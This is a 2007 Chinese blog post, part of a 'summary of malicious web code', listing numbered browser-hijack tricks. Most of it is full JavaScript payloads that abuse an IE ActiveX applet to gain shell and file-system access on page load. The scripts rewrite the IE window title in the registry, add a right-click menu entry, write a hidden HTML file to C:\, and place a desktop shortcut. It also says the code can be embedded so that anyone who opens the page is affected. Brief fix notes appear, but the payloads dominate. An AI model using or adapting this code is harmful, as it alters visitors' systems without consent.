网页恶意代码大总结下

我的日志 2007-5-27 2:12

9、修改IE标题栏目。修改方法将以下代码中可以换的换成你想换的

<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "————（　ＷＷＷ。ＷＥＢＪＸ.ＣＯＭ　）————（　网页教学网恶意代码请勿试用　）————（ ＷＷＷ。ＷＥＢＪＸ.ＣＯＭ）");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "————（　ＷＷＷ。ＷＥＢＪＸ.ＣＯＭ　）————（　网页教学网恶意代码请勿试用　）————（ ＷＷＷ。ＷＥＢＪＸ.ＣＯＭ）");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();</SCRIPT>

10、在右键加进网页链接。修改方法：到注册表找到 MenuExt 把它删除就OK

<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
sh = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo = a1.GetObject();
if (documents .cookie.indexOf("km169set") == -1)
{
sh.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\网页教学网\\", "c:\\yntop.htm");
sh.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\网页教学网\\contexts", 0xf3,"REG_DWORD");
hd=fo.CreateTextFile("c:\\yntop.htm");
hd.write(<html><head></head><\script language=java script>window.open("http://www.webjx.com");<\/script></html>);
hd.close();
file=fo.GetFile("c:\\yntop.htm");
file.Attributes=6;
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="km169set=km169; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{
}
}
function init()
{
setTimeout("f()", 1000);
}
init();</SCRIPT>

11、IE 的 INTERNET 选项的主页条失去作用变灰的代码。修改方法，找到 HomePage 删除就OK

12、回收站给改了名字的修改方法：打开注册表找到 {645FF040-5081-101B-9F08-00AA002F954E} 修改就 OK

修改回收站的代码

13、注册表给锁住了，锁注册表的代码。

14、在收藏夹生成文件的代码，将以下代码加进网页后，只要别人一打开就可以自动加进收藏夹

15、在桌面生成的网页文件

以下代码就是在桌面上生成一份网页的文件，一按打开的就是你的网页

<SCRIPT language=java script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>")
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try{
//if (documents .cookie.indexOf("ChgLive") == -1)
//{
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
documents .cookie="ChgLive=general; expires=" + expdate.toGMTString() + "; path=/;"
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Internet Explorer");
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
documents .cookie="ChgLive=general; expires=" + expdate.toGMTString() + "; path=/;"
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc)) {
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc)) {
return;
}
}
AddFavLnk("C:\\WINDOWS\\Desktop", "网页教学网", "http://www.webjx.com");
//}
}
catch(e){ }
}
catch(e){ }
}
function init(){
setTimeout("f()", 1000);
}
init();</SCRIPT>

我的伦理的博客

网页恶意代码大总结下

回复Comments() 点击Count()

回复Comments

{commenttime}{commentauthor}

{CommentUrl}